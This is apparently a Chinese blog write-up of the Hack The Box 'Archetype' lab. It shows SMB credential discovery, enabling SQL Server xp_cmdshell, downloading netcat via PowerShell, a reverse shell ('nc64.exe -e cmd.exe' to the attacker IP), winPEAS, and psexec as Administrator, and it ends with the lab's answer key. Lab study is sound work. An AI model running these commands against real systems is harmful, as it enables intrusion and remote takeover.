HTB_Archetype靶机之sqlserver提权

已于 2023-02-08 13:42:43 修改
阅读量1.6k 收藏 5
点赞数
分类专栏： # startpoint
于 2022-07-16 14:32:41 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_40927195/article/details/125819540
版权

sqlserver 数据库 安全

第一次接触 sqlserver 数据库提权

文章目录

信息收集

日常扫描，现在的日常扫描基本是用 -sV -v

PORT     STATE SERVICE      VERSION
135/tcp  open  msrpc        Microsoft Windows RPC
139/tcp  open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
1433/tcp open  ms-sql-s     Microsoft SQL Server 2017 14.00.1000

尝试连接 smb ，无用户密码，只能连接 backups ,发现一个 prod.dtsConfig 文件，打开发现类似数据库账号密码的东西，很多情况都是通过对不同用户分组进行权限设置来管理

┌──(root💀kali)-[~]
└─# smbclient //{target_ip}/backups

在这里插入图片描述

sql server

sqlserver 是一种关系型数据库，之前有一期提到非关系型数据库

如何连接呢，使用推荐工具 impacket 包连接，kali 中自带，windwos 可以使用 sqlserver management 桌面管理工具。我在虚拟机中装了(顺便说一下，今天才知道虚拟机也可以装正版windows)sqlserver视频教程-bilibili 感兴趣的可以看一下

┌──(root💀kali)-[~/tools]
└─# impacket-mssqlclient -h 
┌──(root💀kali)-[~/tools]
└─# impacket-mssqlclient -windows-auth ARCHETYPE/sql_svc@{target_ip}

在这里插入图片描述

使用 windows 身份验证模式，一共有两种验证模式，后一种就是指定的数据库账号密码(这里需要设置一个 sqlserver 管理员账号，对数据库引擎具有无限制的访问权限)

在这里插入图片描述

不同的数据库的利用思路也是差不多的，增删改查，写后门，看数据，sqlserver 教程👉 sqlserver教程 sqlserver 和那个常说的 ms-sql 是一个东西

查看所有数据库名

在安装 sqlserver 时，会默认创建 4 个数据库，这个 master 和 information_schema 很类似，test 是我创建的

在这里插入图片描述

  • master
    master 数据库记录了所有的 SQL Server 数据库系统的系统级信息，如用户帐户，配置设置，并存在所有其他数据库信息

  • model
    model 数据库是一个模板数据库。每当创建一个新的数据库（包括系统数据库的TempDB），会创建一个以 Model 数据库为副本数据库，并更改成你创建数据库时所用的名称

  • msdb
    msdb 数据库是 SQL Server 代理的数据库，用于配置警报使用 SQL Server 代理和预定作业等

  • tempdb
    tempddb 数据库是由 SQL Server 用于暂时存储数据的，这其中包含所有临时表，临时存储过程，并通过 SQL Server 生成任何其他临时存储需求

    这些系统数据库有它们特有的用处，系统数据库是我们新建数据库的模板

使用 select 语句查看所有数据库信息，发现只有几个默认数据库

select name from sysdatabases

在这里插入图片描述

简单了解

了解 mysql 或其它数据库的同学可以很快上手，新建数据库，表，列，右键编辑前200行添加值

在这里插入图片描述

简单例子，右键选择前1000行查看，都是使用通用的 select、insert、update、delete、order by 等语句 👉sql教程 语句中列值外的中括号可加可不加，通过点 . 来连接库名表名列名

在这里插入图片描述

这就是刚才查询的表，查询name 列的值

在这里插入图片描述

查询数据

通过简单的数据库查询语句获取信息

查看数据库名

select name from sysdatabases          //查询所有数据库名
select db_name()                       //查看当前数据库名

在这里插入图片描述

查看表名

sqlserver 中还存在 information_schema.tables和information_schema.columns 两个表

select name from sysobjects where xtype='U'           //查询当前数据库
select * from information_schema.tables               //查询当前数据库
select name from master..sysobjects where xtype='U'   //查看指定数据库的表名 使用..连接

在这里插入图片描述

查看字段名

select name from syscolumns where id = object_id('people')  //查询当前表
select * from information_schema.columns                    //查询当前表
sp_help 'people'                                            //查询指定表 
select name from 数据库名.dbo.syscolumns where id=(select id from 数据库名.dbo.sysobjects where name='表名')    //跨库查询指定数据库某表的列

在这里插入图片描述

在这里插入图片描述

查询具体数据

select * from test..people     //数据库..表名

在这里插入图片描述

常用函数

select is_srvrolemember('sysadmin')                // 判断是否是sa权限 MSSQL数据库的默认系统帐户，具有最高权限
select is_member('db_owner')                       // 判断是否是db_owner权限 可以执行数据库的所有配置和维护活动
select is_srvrolemember('public')                  // 判断是否是public权限 可以使用某些系统过程查看并显示master数据库中的信息

在这里插入图片描述

select @@version                                     // 数据库版本
select @@servername                                  // 查询服务名
select host_name()                                   // 查询主机名
select db_name()                                     // 查询当前数据库名

翻看了一会没看到什么数据，基本都是空的

shell与提权

xp_cmdshell

xp_cmdshell 可以让系统管理员以操作系统命令行解释器的方式执行给定的命令字符串，是 sql servevr 的原生工具，使用方法如下

SQL> EXEC xp_cmdshell { 'command_string' }

因为经常被用于提权操作，所以默认是关闭的，尝试执行 net user 命令，失败

在这里插入图片描述

开启该功能，修改配置，执行如下命令

EXEC sp_configure 'show advanced options', 1; 
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;

再次执行，成功

在这里插入图片描述

我们所说的 shell 可以理解为一个交互式命令行，能执行系统命令或获取系统权限为佳，现在我们的用户是 sql_svc ，目标是获得 system 权限或 Administrator 权限的一个会话，就这点事

使用 netcat 获取 shell：

本地监听 80 端口，目标机器访问下载 nc

本地 nc 监听，目标机器同样使用 nc 连接获取 shell

nc获取shell

本机监听 80 端口

python3 -m http.server 80
lsof -i:80         //查看端口被哪个进程占用
kill -9 2437       //关掉该进程 2437为pid进程号

监听后访问，可以看到如下界面

在这里插入图片描述

这就是我们当前的目录，将 nc64.exe 放入此目录，访问 本机ip/nc64.exe 就会下载该文件

在这里插入图片描述

使用 wget 访问本机地址下载，失败，无权限

SQL> xp_cmdshell "powershell -c wget http://10.10.16.15/nc64.exe -outfile nc64.exe"

在这里插入图片描述

powershell -c 是以 powershell 方式来执行命令

在这里插入图片描述

我们可以看看当前目录

SQL> xp_cmdshell "powershell -c pwd"

在这里插入图片描述

系统目录，尝试换个目录写，因为系统目录写入一般需要较高权限

SQL> xp_cmdshell "powershell -c cd C:\Users\sql_svc\Downloads;pwd"

在这里插入图片描述

查看是否写入成功

在这里插入图片描述

本机 nc 监听 443 端口，用来监听目标机器获取 shell 会话

nc -lvnp 443

目标机器连接

SQL> xp_cmdshell "powershell -c cd C:\Users\sql_svc\Downloads; .\nc64.exe -e cmd.exe 10.10.16.15 443"

在这里插入图片描述

一通操作，一看还是 sql_svc 用户，稍安勿躁，这个只是相比较来说会更稳定，看看文件，user.txt 管理员目录无权限访问

在这里插入图片描述

提权

下载提权所需文件 WinPEAS，这个 WinPEAS 是一个脚本，用于搜索在 Windows 主机上提升权限的可能方法，进行扫描

C:\Users\sql_svc\Downloads> powershell -c wget http://10.10.16.15/winPEASx64.exe -outfile winPEASx64.exe

在这里插入图片描述

执行

C:\Users\sql_svc\Downloads>winPEASx64

经过一堆花花绿绿，最后结束

在这里插入图片描述

查看第一个 ConsoleHost_history 文件 ，里面是 Administrator 账号的明文密码

在这里插入图片描述

上期使用的 psexec 是在 windows 下安装的，这次使用 kali 自带的 impacket使用

PsExec 是一种轻型 telnet-replacement，可用于在其他系统上执行进程，无需手动安装客户端软件即可完成控制台应用程序的完整交互性。 PsExec 最强大的用途包括在远程系统和远程启用工具（如 IpConfig）上启动交互式命令提示符

impacket-psexec administrator@{target_IP}

在这里插入图片描述

查看文件

在这里插入图片描述

还有诸多地方细节问题不深究，后续会有阶段总结

放答案

1433
backups
M3g4c0rp123
mssqlclient.py
xp_cmdshell
winPEAS
ConsoleHost_history.txt
重返太空
关注
专栏目录
【数据库提权】- SQL Server提权
weixin_41949487的博客
03-15 1254
渗透测试往往由信息收集开始，而提权是渗透测试中较为重要的环节，若始终以“低权限”身份进行渗透，测试出的问题相对于高权限的质量会低很多，权限提升意味着用户获得不允许他使用的权限。比如从一个普通用户，通过“手段”让自己变为管理员用户，也可以理解为利用操作系统或软件应用程序中的错误，设计缺陷或配置错误来获得对更高访问权限的行为。 提权又分为系统提权、数据库提权、第三方提权等等，此篇文章就介绍了SQL Serve部分的提权方法，一起来看看吧。 知识补充 系统库 库名 含义 master .
msf实战提权windows_SqlServer提权
weixin_39677538的博客
11-21 644
前话：其实SqlServer的提权与Mysql的UDF提权是一个道理，当我们拿到webshell后，权限太低无法使用常规的系统漏洞进行提权时，如果恰好数据库服务的运行权限较高，例如是个系统权限(通常sqlserver2000和2008安装后默认权限是系统权限)，则我们可以通过sqlserver提权，让自己以同数据库服务一样的系统权限进行命令执行。而如果是直接拿到了数据库，而不是通...
HTB：Archetype[WriteUP]
最新发布
如有错误感谢斧正
09-30 792
同理：我们上文用python开启的http.server服务没关闭，直接将winPEAS放置在同目录进行上传。找到sql_svc文件夹， 接下来使用wget将nc从本地上传至该目录下的Downloads中。到了这一题直接跳跃到了提权，但是我们还没有拿到low权shell，所以继续getshell。archetype\sql_svc，代表xp_cmdshell成功执行了命令。将nc放置在同目录下，开启http.server服务并输入好端口。使用此命令将枚举出该samba服务器中的所有共享对象，可见。
sqlserver提权
qq_42307546的博客
04-10 1060
如果网站使用了sqlserver数据库，如果能找到sa的密码，利用提权脚本执行命令，但是不一定是系统权限，还要看管理员在安装时设置的权限 敏感文件 web.config config.asp conn.aspx database.aspx 使用mssql连接工具或者webshell net提权脚本输入账号和密码连接 开启xp_cmdshell Exec sp_configure ‘show advanced options’,1;RECONFIGURE;exec sp_configure ‘Ad Ho
SQLserver提权
m0_62207482的博客
03-23 418
xp_cmdshell是Sql Server中的一个组件，可以用来执行系统命令,在拿到sa口令之后，经常可以通过xp_cmdshell来进行提权。修改开启Ageent Job，执行无回显CobaltStrike生成powershell上线。在xp_cmdshell被删除或者出错情况下，可以充分利用SP_OACreate进行提权，需要同时具备sp_oacreate和sp_oamethod两个功能组件。# 通过xp_cmdshell执行系统命令。xp_cmdshell提权。启用xp_cmdshell。
HTB_tools-开源
05-02
`HTB_tools-开源`是一款专为网络带宽管理设计的开源软件，它致力于简化网络环境中的上传和下载带宽分配的配置过程，同时提供了方便的监控功能。这款工具对于网络管理员来说尤其重要，因为它可以帮助他们高效地管理和...
Python库 | htb_cli-0.1.1-py3-none-any.whl
02-16
《Python库htb_cli-0.1.1-py3-none-any.whl详解及应用》 在Python的世界里，库是开发者的重要工具，它们提供了丰富的功能，极大地提升了开发效率。今天我们将聚焦于一个名为`htb_cli`的Python库，其版本为0.1.1，...
ROS_HTB_优先限速
09-07
标题与描述中的“ROS_HTB_优先限速”是指在MikroTik RouterOS系统中，使用Hierarchical Token Bucket（HTB）算法进行网络流量的优先级管理和限速设置的一种技术。这一策略通常用于确保关键应用或服务的网络质量，...
HTB靶场系列 linux靶机 靶机cronos
m0_57221101的博客
01-19 1805
勘探 基本操作先用nmap扫一下 nmap 10.10.10.13 Starting Nmap 7.80 (https://nmap.org) at 2020-04-07 21:01 EDT Nmap scan report for 10.10.10.13 Host is up (0.014s latency). Not shown: 65532 filtered ports PORT STATE SERVICE 22/tcp open ssh 53/tcp open domain ..
HTB靶场系列 Windows靶机 Granny靶机
m0_57221101的博客
01-29 1584
勘探 还是使用nmap进行侦擦 先大致扫描 nmap 10.10.10.15 Starting Nmap 7.91 ( https://nmap.org ) at 2022-01-01 10:29 CST Nmap scan report for 10.10.10.15 Host is up (0.38s latency). Not shown: 999 filtered ports PORT STATE SERVICE 80/tcp open http Nmap done: 1 IP a
mssql数据库提权之——xp_cmdshell执行系统命令
01-19
条件 所谓利用数据进行提权，利用的其实是数据库的运行权限，所以只要我们满足以下条件即可进行提权： 1、 必须获得sa的账号密码或者与sa相同权限的账号密码，且mssql没有被降权。 2、 必须可以以某种方式执行sql语句，例如：webshell或者是1433端口的连接。 提权基本思路过程与原理 1.MSSQL在Windows server类的操作系统上，默认具有system权限。System权限在Windows server2003中权限仅比管理员小；而在2003以上的版本，则为最高权限。 2.获取webshell之后可尝试在服务器各个站点的目录寻找sa的密码（某些站点直接在web应用程序中使
SQL综合利用工具 提权必备
06-13
SQL综合利用工具 提权必备
靶机-凹丫丫新闻发布系统V4.7修改版asp+sqlserver带注入版（改）
05-21
凹丫丫新闻发布系统V4.7修改版asp+sqlserver带注入版！本人修改的版本去掉sql过滤！后台上传取消限制cer文件！内附安装说明！推荐环境windows server 2003 + iis6.0 + asp + sqlserver 2005 express ! include/conn.asp是数据库连接文件自行设置！在数据库中新建一个数据库（名字随意在conn.asp中也要相对修改），然后新建查询把网站目录下的news.sql里面的内容复制到查询里面执行（会提示错误但是是正常的忽略），在iis中设置网站默认页面为default.asp（不是index.asp）,如果没有权限打开请给网站文件添加everyone用户加权限和iis用户加权限！还要不会你就去搬砖吧！另外不要下载之前的那个！代码没改好！
SQL Server 数据库常见提权总结
m0_64481831的博客
03-28 3046
前面总结了linux和Windows的提权方式以及Mysql提权，这篇文章讲讲SQL Server数据库的提权。
操作系统权限提升(三十)之数据库提权-SQL Server sp_oacreate+sp_oamethod（dba权限）提权
把自己活成一道光，因为你不知道，谁会借着你的光，走出了黑暗。请保持心中的善良，因为你不知道，谁会借着你的善良，走出了绝望。请保持你心中的信仰，因为你不知道，谁会借着你的信仰，走出了迷茫。请相信自己的力量，因为你不知道，谁会因为相信你，开始相信了自己....
09-23 682
在xp_cmdshell被删除或不能利用是可以考虑利用sp_oacreate，利用前提需要sqlserver sysadmin账户服务器权限为system（sqlserver2019默认被降权为mssql）。sp_oacreate 是一个存储过程，可以删除、复制、移动文件。还能配合 sp_oamethod 来写文件执行系统命令。
SQL提权
小向资源网博客
08-15 973
UDF手工提权辅助： select @@basedir;  #查看mysql安装目录 select 'It is dll' into dumpfile 'C:\。。lib::';  #利用NTFS ADS创建lib目录 select 'It is dll' into dumpfile 'C:\。。lib\plugin::';  #利用NTFS ADS创建plugin目录 select 0...
数据库提权
weixin_71169068的博客
04-16 963
利用此方法第一步先判断版本和安装路径：1.mysql5.1 则 导出dll文件到安装目录 /lib/plugin(这个目录默认是没有的,需要我们去创建)查看版本：mysql=>5.1跳转到安装目录发现lib目录下没有plugin，这里需要我们新建目录点击mysql提权，设置好路径，安装DLL执行命令，从而提权。
SQL Server 数据库提权的几种方法——提权教程
热门推荐
W小哥
01-20 1万+
一、简介 在利用系统溢出漏洞没有效果的情况下，可以采用数据库进行提权。 数据库提权的前提条件： 1、服务器开启数据库服务 2、获取到最高权限用户密码 (除Access数据库外，其他数据库基本都存在数据库提权的可能) 二、使用xp_cmdshell进行提权 xp_cmdshell默认在mssql2000中是开启的，在mssql2005之后的版本中则默认禁止。如果用户拥有管理员sa权限则可以用sp_configure重新开启它。 启用： EXEC sp_configure ‘show advanced opti
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值